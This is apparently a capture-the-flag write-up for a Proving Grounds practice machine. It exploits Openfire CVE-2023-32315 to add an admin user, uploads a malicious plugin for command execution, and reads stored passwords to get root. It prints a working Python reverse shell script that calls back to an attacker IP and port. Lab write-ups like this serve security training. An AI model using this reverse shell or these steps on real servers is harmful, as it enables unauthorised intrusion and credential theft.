Enumeration

Nmap

Initial nmap scan revealed SSH and port 9090 were open.

00 - nmap

Web Enumeration

I checked port 9090 and found out it was OpenFire 4.7.3 website.

01 - openfire 4 7 3

Exploitation

CVE-2023-32315

Openfire is an XMPP server licensed under the Open Source Apache License. Openfire’s administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.

For more information: https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce

So simply, openfire is vulnerable to authentication bypass via path traversal. I found an exploit script to add a new administrator user. I simply executed it.

02 - exploit

03 - hugme

As the new admin user was created, I had access to the admin dashboard.

04 - dashboard

Later I learned from my research that we could upload malicious java plugin and get webshell. So I found a malicious plugin in github.

05 - plugin

Then uploaded it.

06-  uploaded plugin

Then from Server > Server Settings > Management Tools I accessed the malicious plugin and entered password 123.

07 - management

08 - pass 123

And by selecting system command option, I got remote command execution.

09 - rce

Later, to obtain full reverse shell I created a python script and trasfered it to target.

RHOST="192.168.45.166"
RPORT=1234
import sys,socket,os,pty

s=socket.socket()
s.connect((RHOST,RPORT))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]

pty.spawn("bash")

12 - test py

And simply by executing python3 <script>, I got the reverse shell.

13 - reverse shell

And read the user flag.

14 - local flag

Privilege Escalation

openfire.script

Openfire stores passwords under /usr/share/openfire/embedded-db/openfire.script, I simply read it and found a cleartext password.

15 - openfire at everyone

Luckily, it worked for root and I simply got root shell and flag.

15 - root flag

Additional Information

NOTE: We could also decrypt hashed passwords by simply using openfire-decryptor scripts that can be found online (e.g. c0rdis/openfire_decrypt). We only need to read user’s password hash and password key from openfire.scripts file.

Before trying plaintext passwords, I tried to decrypt admin hash. However, it was not root password.

16 - openfire

17 - password key

18 - decrypted


<
Previous Post
Resourced - Proving Grounds Practice
>
Next Post
Press - Proving Grounds Practice